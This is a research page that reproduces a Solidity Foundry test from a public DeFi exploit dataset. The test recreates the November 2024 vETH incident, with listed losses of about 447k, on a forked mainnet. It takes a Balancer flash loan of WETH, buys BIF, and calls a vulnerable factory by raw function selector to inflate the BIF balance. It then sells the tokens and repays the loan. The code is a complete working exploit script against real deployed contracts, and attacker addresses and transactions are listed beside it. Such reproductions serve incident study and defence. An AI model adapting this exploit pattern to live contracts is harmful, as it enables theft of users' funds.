Public reproduction file
src/test/2024-11/vETH_exp.sol
Public reproduction file for dataset entry vETH.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 447k8// Attacker : https://etherscan.io/address/0x713d2b652e5f2a86233c57af5341db42a5559dd19// Attack Contract : https://etherscan.io/address/0x351d38733de3f1e73468d24401c59f63677000c910// Vulnerable Contract : https://etherscan.io/address/0x280a8955a11fcd81d72ba1f99d265a48ce39ac2e11// Attack Tx : https://etherscan.io/tx/0x900891b4540cac8443d6802a08a7a0562b5320444aa6d8eed19705ea6fb9710b (vETH-BIF)12// Attack Tx : https://etherscan.io/tx/0x1ae40f26819da4f10bc7c894a2cc507cdb31c29635d31fa90c8f3f240f0327c0 (vETH-Cowbo)13// Attack Tx : https://etherscan.io/tx/0x90db330d9e46609c9d3712b60e64e32e3a4a2f31075674a58dd81181122352f8 (vETH-BOVIN)15// @Info16// Vulnerable Contract Code : https://etherscan.io/address/0x280a8955a11fcd81d72ba1f99d265a48ce39ac2e#code18// @Analysis19// Post-mortem : https://blog.verichains.io/p/veth-incident-with-unknown-mechanism20// Twitter Guy : https://x.com/TenArmorAlert/status/185698429990571664521// Hacking God : https://www.quillaudits.com/blog/hack-analysis/veth-token-450k-exploit-analysis23contract vETH_exp is BaseTestWithBalanceLog {24 uint256 blocknumToForkFrom = 21_184_778 - 1;25 IBalancerVault constant vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);26 IUniswapV2Pair constant pair = IUniswapV2Pair(0x0634866dfd8F05019c2A6e1773dC64Cb5a5D3E6c);27 IWETH constant WETH_TOKEN = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));28 IERC20 constant BIF = IERC20(0xAefEF41f5a0Bb29FE3d1330607B48FBbA55904CE);29 IERC20 constant vETH = IERC20(0x280A8955A11FcD81D72bA1F99d265A48ce39aC2E);30 address constant VULN_FACTORY = address(0x62f250CF7021e1CF76C765deC8EC623FE173a1b5);31 address constant DEX_INTERFACE = address(0x19C5538DF65075d53D6299904636baE68b6dF441);32 uint256 borrowed_eth = 0;34 function setUp() public {35 vm.createSelectFork("mainnet", blocknumToForkFrom);36 vm.label(address(vault), "Balancer: Vault");37 vm.label(address(WETH_TOKEN), "Wrapped Ether");38 vm.label(address(BIF), "BIF");39 vm.label(address(vETH), "vETH");40 vm.label(address(pair), "Uniswap V2: vETH-BIF");41 vm.label(address(VULN_FACTORY), "Vulnerable Factory");42 vm.label(address(DEX_INTERFACE), "Dex Interface");43 //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit44 fundingToken = address(0);45 }47 function testExploit() public balanceLog {48 //implement exploit code here49 borrowed_eth = WETH_TOKEN.balanceOf(address(vault));51 address[] memory tokens = new address[](1);52 tokens[0] = address(WETH_TOKEN);53 uint256[] memory amounts = new uint256[](1);54 amounts[0] = borrowed_eth;55 vault.flashLoan(address(this), tokens, amounts, "");56 }58 function receiveFlashLoan(59 address[] memory tokens,60 uint256[] memory amounts,61 uint256[] memory feeAmounts,62 bytes memory userData63 ) external {64 console2.log("Borrowed WETH: %18e ether", borrowed_eth); // 32560.203560896180352774 ether65 WETH_TOKEN.withdraw(borrowed_eth);66 // buy BIF67 DEX_INTERFACE.call{value: borrowed_eth}(68 abi.encodeWithSignature("buyQuote(address,uint256,uint256)", address(BIF), borrowed_eth, 0));69 uint256 bif_balance = BIF.balanceOf(address(this));70 console2.log("BIF balance before exploit: ", bif_balance);72 // exploit vulnerability in factory73 BIF.approve(VULN_FACTORY, bif_balance);74 VULN_FACTORY.call(75 abi.encodeWithSelector(0x6c0472da, address(vETH), address(BIF), 300 ether, 0, 0, 0)76 );78 bif_balance = BIF.balanceOf(address(this));79 console2.log("BIF balance after exploit : ", bif_balance);81 // sell BIF82 BIF.approve(DEX_INTERFACE, bif_balance);83 DEX_INTERFACE.call(84 abi.encodeWithSignature("sellQuote(address,uint256,uint256)", address(BIF), 6378941079150051291618297, 0));86 // repay flashloan87 WETH_TOKEN.deposit{value: borrowed_eth}();88 WETH_TOKEN.transfer(address(vault), borrowed_eth);89 }91 fallback() external payable {92 }93}Analysis
Dataset entry
Public Foundry test for “vETH” (2024-11-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
15 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2024-11/Ak1111_exp.solSame month in the dataset · 56 lines
- src/test/2024-11/ChiSale_exp.solSame month in the dataset · 85 lines
- src/test/2024-11/CoW_exp.solSame month in the dataset · 73 lines
- src/test/2024-11/DeltaPrime_exp.solSame month in the dataset · 249 lines
- src/test/2024-11/MainnetSettler_exp.solSame month in the dataset · 93 lines
- src/test/2024-11/Matez_exp.solSame month in the dataset · 72 lines
- src/test/2024-11/MFT_exp.solSame month in the dataset · 157 lines
- src/test/2024-11/NFTG_exp.solSame month in the dataset · 68 lines
- src/test/2024-11/PolterFinance_exploit.solSame month in the dataset · 227 lines
- src/test/2024-11/proxy_b7e1_exp.solSame month in the dataset · 107 lines
- src/test/2024-11/RPP_exp.solSame month in the dataset · 100 lines
- src/test/2024-11/VRug_exp.solSame month in the dataset · 38 lines
- src/test/2024-11/X319_exp.solSame month in the dataset · 45 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x713d2b652e5f2a86233c57af5341db42a5559dd1
- Attack Contract
0x351d38733de3f1e73468d24401c59f63677000c9
- Vulnerable Contract
0x280a8955a11fcd81d72ba1f99d265a48ce39ac2e
- Attack Tx
0x900891b4540cac8443d6802a08a7a0562b5320444aa6d8eed19705ea6fb9710b
- Attack Tx
0x1ae40f26819da4f10bc7c894a2cc507cdb31c29635d31fa90c8f3f240f0327c0
- Attack Tx
0x90db330d9e46609c9d3712b60e64e32e3a4a2f31075674a58dd81181122352f8
- Post: https://blog.verichains.io/p/veth-incident-with-unknown-mechanism
- Twitter: https://x.com/TenArmorAlert/status/1856984299905716645
- Explorer: https://etherscan.io/address/0x713d2b652e5f2a86233c57af5341db42a5559dd1
- Explorer: https://etherscan.io/address/0x351d38733de3f1e73468d24401c59f63677000c9
- Explorer: https://etherscan.io/address/0x280a8955a11fcd81d72ba1f99d265a48ce39ac2e
- Explorer: https://etherscan.io/address/0x280a8955a11fcd81d72ba1f99d265a48ce39ac2e#code
File record
- Name
- vETH
- Path
- src/test/2024-11/vETH_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 4e9f0683088715bdfbf1266ab5d2b04d6e30247e
- Language
- Solidity
- Size
- 94 lines
- Date
- 2024-11-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2024-11/vETH_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 4e9f0683088715bdfbf1266ab5d2b04d6e30247e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.